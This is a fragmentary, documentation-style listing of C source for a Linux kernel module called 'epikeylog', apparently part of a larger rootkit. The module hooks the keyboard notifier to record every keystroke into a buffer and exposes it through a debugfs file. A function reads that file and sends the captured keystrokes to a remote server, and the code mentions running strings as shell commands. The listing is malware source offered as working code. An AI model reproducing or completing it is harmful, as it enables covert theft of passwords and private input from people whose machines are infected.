1#include <linux/debugfs.h>
3#include <linux/input.h>
4#include <linux/kernel.h>
5#include <linux/keyboard.h>
6#include <linux/module.h>
7#include <linux/moduleparam.h>
14#define MAX_CHAR_SIZE 12
33 {
"_BACKSPACE_",
"_BACKSPACE_" },
48 {
"_LCTRL_",
"_LCTRL_" },
61 {
"_LSHIFT_",
"_LSHIFT_" },
73 {
"_RSHIFT_",
"_RSHIFT_" },
74 {
"_PRTSCR_",
"_KPD*_" },
75 {
"_LALT_",
"_LALT_" },
77 {
"_CAPS_",
"_CAPS_" },
89 {
"_SCROLL_",
"_SCROLL_" },
90 {
"_KPD7_",
"_HOME_" },
92 {
"_KPD9_",
"_PGUP_" },
94 {
"_KPD4_",
"_LEFT_" },
95 {
"_KPD5_",
"_KPD5_" },
96 {
"_KPD6_",
"_RIGHT_" },
98 {
"_KPD1_",
"_END_" },
99 {
"_KPD2_",
"_DOWN_" },
100 {
"_KPD3_",
"_PGDN" },
101 {
"_KPD0_",
"_INS_" },
102 {
"_KPD._",
"_DEL_" },
103 {
"_SYSRQ_",
"_SYSRQ_" },
115 {
"_KPENTER_",
"_KPENTER_" },
116 {
"_RCTRL_",
"_RCTRL_" },
118 {
"_PRTSCR_",
"_PRTSCR_" },
119 {
"_RALT_",
"_RALT_" },
121 {
"_HOME_",
"_HOME_" },
123 {
"_PGUP_",
"_PGUP_" },
124 {
"_LEFT_",
"_LEFT_" },
125 {
"_RIGHT_",
"_RIGHT_" },
126 {
"_END_",
"_END_" },
127 {
"_DOWN_",
"_DOWN_" },
128 {
"_PGDN",
"_PGDN" },
129 {
"_INS_",
"_INS_" },
130 {
"_DEL_",
"_DEL_" },
138 {
"_PAUSE_",
"_PAUSE_" }
172 return simple_read_from_buffer(buffer, len, offset,
keylog_buf.
buf,
177 .owner = THIS_MODULE,
189 if (keycode > KEY_RESERVED && keycode <= KEY_PAUSE) {
190 const char *key = shift_mask ?
keymap[keycode][1] :
keymap[keycode][0];
207 struct keyboard_notifier_param *param = _param;
214 len = strlen(keybuf);
221 char *new_buf = krealloc(
keylog_buf.
buf, new_size, GFP_KERNEL);
223 ERR_MSG(
"epikeylog_callback: memory reallocation failed\n");
233 pr_debug(
"%s\n", keybuf);
247 DBG_MSG(
"epikeylog_send_to_server: not running\n");
250 "epikeylog_send_to_server: not running. Activate it with `klgon`.\n");
254 char *full_cmd = kzalloc(PATH_MAX, GFP_KERNEL);
256 ERR_MSG(
"epikeylog_send_to_server: command memory allocation failed\n");
260 snprintf(full_cmd, PATH_MAX,
"cat /sys/kernel/debug/%sklg/keys",
268 DBG_MSG(
"epikeylog_send_to_server: keylogger content sent\n");
281 char *dir_name = kzalloc(PATH_MAX, GFP_KERNEL);
283 ERR_MSG(
"prepare_dbgfs: directory name allocation failed\n");
288 subdir = debugfs_create_dir(dir_name, NULL);
292 ERR_MSG(
"prepare_dbgfs: failed to create debugfs directory\n");
298 ERR_MSG(
"prepare_dbgfs: failed to create debugfs file\n");
299 debugfs_remove_recursive(
subdir);
311 debugfs_remove(
file);
316 debugfs_remove_recursive(
subdir);
326 DBG_MSG(
"epikeylog_init: initializing keylogger\n");
329 DBG_MSG(
"epikeylog_init: already running\n");
334 ERR_MSG(
"epikeylog_init: debugfs preparation failed\n");
342 ERR_MSG(
"epikeylog_init: keylog buffer allocation failed\n");
348 ERR_MSG(
"epikeylog_init: keyboard notifier registration failed\n");
354 DBG_MSG(
"epikeylog_init: keylogger initialized\n");
365 DBG_MSG(
"epikeylog_exit: already stopped\n");
370 ERR_MSG(
"epikeylog_exit: failed to unregister keyboard notifier\n");
375 ERR_MSG(
"epikeylog_exit: debugfs directory invalid\n");
390 DBG_MSG(
"epikeylog_exit: keylogger stopped\n");
#define ERR_MSG(fmt, args...)
#define DBG_MSG(fmt, args...)
static int prepare_dbgfs(void)
Prepares the debugfs structures for the keylogger.
static struct dentry * subdir
static struct notifier_block epikeylog_blk
static void clean_dbgfs(void)
Cleans up the debugfs structures.
static ssize_t keys_read(struct file *filp, char *buffer, size_t len, loff_t *offset)
int epikeylog_send_to_server(void)
Handles sending the keylogger buffer content to the remote server.
static void keycode_to_string(int keycode, int shift_mask, char *buf)
const struct file_operations keys_fops
static int epikeylog_callback(struct notifier_block *nblock, unsigned long code, void *_param)
static struct keylog_buffer keylog_buf
static const char * keymap[][2]
int epikeylog_init()
Initializes the keylogger module.
static struct dentry * file
int epikeylog_exit(void)
Exits the keylogger module, unregisters the notifier, and cleans up.
#define exec_str_as_command(user_cmd, catch_stds)
int _read_file(const char *path, char **out_buf)
int send_to_server(enum Protocol protocol, char *message,...)
int send_to_server_raw(const char *data, size_t len)